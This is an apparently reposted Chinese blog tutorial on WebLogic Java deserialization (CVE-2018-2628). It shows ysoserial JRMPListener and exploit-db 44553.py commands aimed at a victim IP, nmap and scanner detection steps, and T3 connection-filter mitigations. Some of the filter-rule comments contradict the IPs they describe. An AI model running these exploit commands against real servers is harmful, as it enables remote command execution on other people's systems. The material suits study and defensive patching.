Java反序列化漏洞
Ysoserial
介绍
Ysoserial是国外一款安全工具,集合了各种java反序列化payload,下载地址:
https://github.com/frohoff/ysoserial/
使用方法
1、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
[listen port]:攻击机要监听的端口
[command]:想要执行的命令
2、开始使用44553.py脚本来向目标发送数据包(基于python2.x)
下载地址: https://www.exploit-db.com/download/44553
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[victim ip]:目标weblogic的IP
[victim port]:目标weblogic的端口
[path to ysoserial] :ysoserial的路径
[JRMPListener ip] :第一步中启动JRMP Server的IP地址
[JRMPListener port] :第一步中启动JRMP Server的I端口地址
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
解释:JRMPListener 是 ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据发送到 Server 中,然后Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload。
RMI和JRMP协议
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。
T3协议
WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。
如何检查存在漏洞
以CVE-2018-2628漏洞为例
nmap -n -v -p7001,7002 192.168.197.139 --script=weblogic-t3-info
针对7001,和7002两个默认的控制端口进行扫描,扫描的时候加上weblogic-t3-info脚本,如果目标服务器开启了T3协议就会在扫描结果中显示。
使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.197.139:7001.在kali里运行CVE-2018-2628-MultiThreading.py(基于python2.x版本)开始检测,可以看到检测结果为漏洞存在。
临时解决办法
可通过控制T3协议的访问来临时阻断攻击行为。WebLogicServer 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器。此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制。
(1)进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s
保存后规则即可生效,无需重新启动。
详细解析:
127.0.0.1 * * allow //表示允许本机回环地址所有协议的连接
10.1.34.205 * * allow //表示允许来自10.10.5.68地址任何协议的访问请求
10.156.0.57/255.255.255.0 * * allow 或 10.156.0.57/24 * * allow //表示允许10.10.3.0网段所有协议的连接
0.0.0.0/0 * * deny t3 t3s //表示禁止除上面三条规则以外所有IP地址或网段t3、t3s协议的连接。
或者更换端口
错误配置
10.1.34.205 * 8001 allow
10.156.0.57 * 8001 allow
10.156.0.58 * 8001 allow
0.0.0.0/0 * * 7001 allow
0.0.0.0/0 * * deny
正确配置:
ip * * allow t3 (ip为允许的ip)
0.0.0.0/0 * *deny t3 t3s
备注:
weblogic漏洞扫描器搭建 kali环境
git clone https://github.com/rabbitmask/WeblogicScan.git //下载
chmod +x WeblogicScan.py //提权
python3 ./WeblogicScan.py 192.168.197.139 7001 //检测
CVE-2018-2628-MultiThreading.py kali环境
git clone https://github.com/Lighird/CVE-2018-2628 //下载
原文链接:https://blog.****.net/qq_45625605/article/details/103428688